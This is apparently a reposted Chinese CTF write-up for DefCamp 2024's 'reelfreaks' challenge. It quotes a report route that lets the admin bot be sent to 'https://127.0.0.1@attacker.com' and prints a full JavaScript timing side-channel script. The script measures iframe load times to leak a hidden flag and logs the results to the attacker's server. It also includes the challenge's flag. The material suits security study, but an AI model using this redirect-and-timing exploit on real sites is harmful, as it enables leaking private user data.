CSRF攻击 + 观测iframe加载时间利用时间响应差异侧信道攻击 -- reelfreaks DefCamp 2024

参考: https://0x90r00t.com/2024/09/30/3708/

题目信息

有些事情最好还是保持低调。当然,除非你是个真正的怪胎。
注意:该网站通过HTTPS提供服务
标志格式:DCTF{}

题目实现了一个类似视频网站的东西

在其提供的数据库中我们能看到被ban的视频,其名称为flag的值

被ban的东西只能由管理员查看

if movie.banned != False and current_user.role != 'real_freak':movies.pop(i)

此处存在我们可以控制的url

# 定义报告路由,处理 POST 请求,需要登录才能访问
@main.route('/report', methods=['POST'])
@login_required
def report():# 构建访问的 URLurl = "https://127.0.0.1" + request.form.get('movie')# 创建一个新线程,调用 visit 函数访问该 URLthread = threading.Thread(target=visit,args=(url,))# 启动线程thread.start()return 'OK'

我们可以构造类似如下的有效负载

https://127.0.0.1@attacker.com

当大文件被加载,其会产生一定的延迟,我们可以使用iframe观测其加载完成的时间

参考: https://0x90r00t.com/2024/09/30/3708/

<body></body>
<script type="text/javascript">
// 定义所有可能用于破解flag的候选字符集(注意:字符 `_` 缺失,`` 可能存在排版错误)
const characters = '| !"#$&\'()*+,-./0123456789:;<=>?@[\\]^``abcdefghijklmnopqrstuvwxyz{}~';// 存储每个字符的响应时间测量结果
let timings = {};// 当前猜测的flag(初始值为占位flag,实际会通过时间分析逐步破解)
let currentFlag = 'DCTF{l3ak_ev3ry_d4y_0f_ev3ry_w33k}';// 当前正在测试的字符索引(按characters顺序遍历)
let charIndex = 0;// 最大测试轮次(初始值为0,可能需要调整以增加准确性)
let maxRounds = 0;// 根据记录的响应时间对字符排序(降序,时间越长排越前)
function getSortedKeysByTiming(timings) {return Object.keys(timings).sort((a, b) => timings[b] - timings[a]);
}// 向服务器发送日志(用于远程记录测试数据)
function log(message) {const xhr = new XMLHttpRequest();xhr.open("GET", "/?" + message); // 将数据通过GET参数发送xhr.send();
}/*** 测量特定字符组合的响应时间* @param {string} char - 当前测试的字符* @param {string} flag - 当前猜测的完整flag(包含已确定字符+测试字符)*/
function measureTiming(char, flag) {// 通过隐藏的iframe发起请求,测量加载时间const iframe = document.createElement('iframe');// 请求本地服务器接口,q参数携带猜测的flagiframe.src = 'https://127.0.0.1:5000/watchlist?q=' + encodeURIComponent(flag);document.body.appendChild(iframe);const startTime = performance.now(); // 记录精确的时间起点// 根据iframe加载结果更新计时数据iframe.onload = () => updateTiming(char, performance.now() - startTime);iframe.onerror = () => updateTiming(char, -1); // 错误时记录-1
}/*** 更新字符计时数据并继续处理* @param {string} char - 被测试的字符* @param {number} time - 测量的响应时间(毫秒)*/
function updateTiming(char, time) {// 仅保留最大时间值(假设正确字符会触发更长响应)if (!(char in timings) || time > timings[char]) {timings[char] = time;}log(`${char}: ${time}`); // 发送日志clearFrames();           // 清理iframeprocessNextChar();       // 处理下一个字符
}// 清除所有iframe防止内存泄漏
function clearFrames() {document.body.innerHTML = ''; // 清空body内所有内容
}/*** 主逻辑:按顺序测试每个字符,完成一轮后分析结果*/
function processNextChar() {// 遍历所有候选字符if (charIndex < characters.length) {const currentChar = characters[charIndex];// 测试当前猜测flag+当前字符的组合(例如:"DCTF{a")measureTiming(currentChar, currentFlag + currentChar);charIndex++;} else {// 一轮完成,按响应时间排序字符const sortedKeys = getSortedKeysByTiming(timings);log('fini ' + sortedKeys.join(',')); // 上报结果// 如果还有剩余轮次,重置索引继续测试(可能需要多轮验证)if (maxRounds-- > 0) {charIndex = 0;processNextChar();}}
}// 启动时间攻击
processNextChar();
</script>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/81601.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

JS逆向-某易云音乐下载器

文章目录 介绍下载链接Robots文件搜索功能JS逆向**函数a&#xff1a;生成随机字符串****函数b&#xff1a;AES-CBC加密****函数c&#xff1a;RSA公钥加密** 歌曲下载总结 介绍 在某易云音乐中&#xff0c;很多歌曲听是免费的&#xff0c;但下载需要VIP&#xff0c;此程序旨在“…

黑马k8s(十)

1.Pod生命周期-钩子函数 2.Pod生命周期-容器探测 因为没有hello.txt文件 查看详情&#xff1a; 修改为查看命令&#xff1a; 查看一下详情&#xff1a; 因为只有一个80端口&#xff0c;没有8080&#xff0c;所以会重启 查看详情&#xff1a; 修改成80&#xff1a; 因为没有…

每日算法刷题Day9 5.17:leetcode定长滑动窗口3道题,用时1h

9. 1652.拆炸弹(简单&#xff0c;学习) 1652. 拆炸弹 - 力扣&#xff08;LeetCode&#xff09; 思想 为了获得正确的密码&#xff0c;你需要替换掉每一个数字。所有数字会 同时 被替换。 如果 k > 0 &#xff0c;将第 i 个数字用 接下来 k 个数字之和替换。如果 k < 0…

Java IO及Netty框架学习小结

Netty netty官网: Netty 什么是Netty&#xff1f; Netty 是 一个异步事件驱动的网络应用程序框架&#xff0c;用于快速开发可维护的高性能协议服务器和客户端。Netty 是一个 NIO 客户端服务器框架&#xff0c;可以快速轻松地开发网络应用程序&#xff08;例如协议服务器和客…

计算机网络笔记(二十七)——4.9多协议标签交换MPLS

4.9.1MPLS的工作原理 一、MPLS基本工作原理 MPLS&#xff08;Multiprotocol Label Switching&#xff09;是一种介于数据链路层和网络层之间的转发技术&#xff0c;通过固定长度的标签进行高速数据转发。其核心特点是通过预建立的标签交换路径&#xff08;Label Switching Pa…

AI 赋能 Copula 建模:大语言模型驱动的相关性分析革新

技术点目录 R及Python语言及相关性研究初步二元Copula理论与实践&#xff08;一&#xff09;二元Copula理论与实践&#xff08;二&#xff09;【R语言为主】Copula函数的统计检验与选择【R语言为主】高维数据与Vine Copula 【R语言】正则Vine Copula&#xff08;一&#xff09;…

【洛谷P3386】二分图最大匹配之Kuhn算法/匈牙利算法:直观理解

题目&#xff1a;洛谷P3386 【模板】二分图最大匹配 &#x1f955; 匈牙利算法本来是针对带权图最大匹配的&#xff0c;这里由于题目只是求最大匹配的边数&#xff0c;所以我们也只考虑无权的情况。 &#x1f680; 本文旨在服务于看了别的关于匈牙利算法的文章但不甚理解的童…

【数据结构】二分查找(返回插入点)5.14

二分查找基础版 package 二分查找; public class BinarySearch { public static void main(String[] args) { // TODO Auto-generated method stub } public static int binarySearchBasic(int[] a,int target) { int i0,ja.length-1; //设置指针初值 while…

Ubuntu 命令

Ubuntu 命令速查表​ ​分类​​命令​​功能描述​​示例/常用选项​​​​文件与目录​ls列出目录内容ls -a&#xff08;显示隐藏文件&#xff09;; ls -lh&#xff08;详细列表易读大小&#xff09; cd切换目录cd ~&#xff08;主目录&#xff09;; cd ..&#xff08;上级…

Java集合框架详解与使用场景示例

Java集合框架是Java标准库中一组用于存储和操作数据的接口和类。它提供了多种数据结构&#xff0c;每种数据结构都有其特定的用途和性能特点。在本文中&#xff0c;我们将详细介绍Java集合框架的主要组成部分&#xff1a;List、Set和Queue&#xff0c;并通过代码示例展示它们的…

《Python星球日记》 第78天:CV 基础与图像处理

名人说:路漫漫其修远兮,吾将上下而求索。—— 屈原《离骚》 创作者:Code_流苏(CSDN)(一个喜欢古诗词和编程的Coder😊) 目录 一、计算机视觉(CV)简介1. 什么是计算机视觉?2. 计算机视觉的应用场景3. 图像的基本属性a》像素(Pixel)b》通道(Channel)c》分辨率(Res…

LabVIEW在电子电工教学中的应用

在电子电工教学领域&#xff0c;传统教学模式面临诸多挑战&#xff0c;如实验设备数量有限、实验过程存在安全隐患、教学内容更新滞后等。LabVIEW 作为一款功能强大的图形化编程软件&#xff0c;为解决这些问题提供了创新思路&#xff0c;在电子电工教学的多个关键环节发挥着重…

【优选算法 | 字符串】字符串模拟题精选:思维+实现解析

算法相关知识点可以通过点击以下链接进行学习一起加油&#xff01;双指针滑动窗口二分查找前缀和位运算模拟链表哈希表 在众多字符串算法题中&#xff0c;有一类题目看起来没有太多算法技巧&#xff0c;却经常让人“翻车”——那就是字符串模拟题。这类题型往往不依赖复杂的数据…

虚幻引擎5-Unreal Engine笔记之Default Pawn与GamMode、Camera的关系

虚幻引擎5-Unreal Engine笔记之Default Pawn与GamMode、Camera的关系 code review! 文章目录 虚幻引擎5-Unreal Engine笔记之Default Pawn与GamMode、Camera的关系1.Default Pawn与Camera的关系1.1. Default Pawn 是什么&#xff1f;1.2. Default Pawn 的主要组件1.3. Default…

HarmonyOs开发之———UIAbility进阶

谢谢关注!! 前言:上一篇文章主要介绍开发之———使用HTTP访问网络资源:HarmonyOs开发之———使用HTTP访问网络资源-CSDN博客 代码资源:https://download.csdn.net/download/this_is_bug/90841580 一、基本概念 UIAbility 是 HarmonyOS 应用的核心组件,负责用户界面的…

java实现根据Velocity批量生成pdf并合成zip压缩包

Velocity 模版操作 用的之前写好的: 传送门 其中需要新加一个转成输入流的方法 public static InputStream convertToPdf(StringWriter stringWriter) throws IOException {//将 HTML 转为字节流byte[] htmlBytes stringWriter.toString().getBytes(StandardCharsets.UTF_8)…

SCDN能够运用在物联网加速当中吗?

在当今的科技化时代当中&#xff0c;物联网已经广泛渗透在各个领域行业当中&#xff0c;随着物联网规模的不断扩大&#xff0c;数据信息的传输速度和网络稳定性成为企业需要重视的两点因素&#xff0c;而SCDN也成为安全内容分发网络作为一种融合了内容加速和安全防护的技术&…

二程运输的干散货船路径优化

在二程运输中&#xff0c;干散货船需要将货物从一个港口运输到多个不同的目的地港口。路径优化的目标是在满足货物运输需求、船舶航行限制等条件下&#xff0c;确定船舶的最佳航行路线&#xff0c;以最小化运输成本、运输时间或其他相关的优化目标。 影响因素 港口布局与距离…

Oracle物理恢复相关注意点

如果需要恢复的数据库或者数据文件不存在&#xff0c;则需要将全量备份集RESTORE[ 将全量备份集恢复到目标数据库中&#xff0c;称之为RESTORE。]到目标数据库中&#xff0c;然后再RECOVER[ 将增量备份集或者归档日志恢复到目标数据库中&#xff0c;称之为RECOVER。]增量备份集…

C++ string小记

#include<string> using std::string;string s1; string s2 "hello" //初始化一个hello字符串 string s3(5,a) //连续5个字符a组成的串&#xff0c;即aaaaa///字符串操作int length s1.size() //.size()求字符串长度char c1 s1[1]; //从下标0开始&#xf…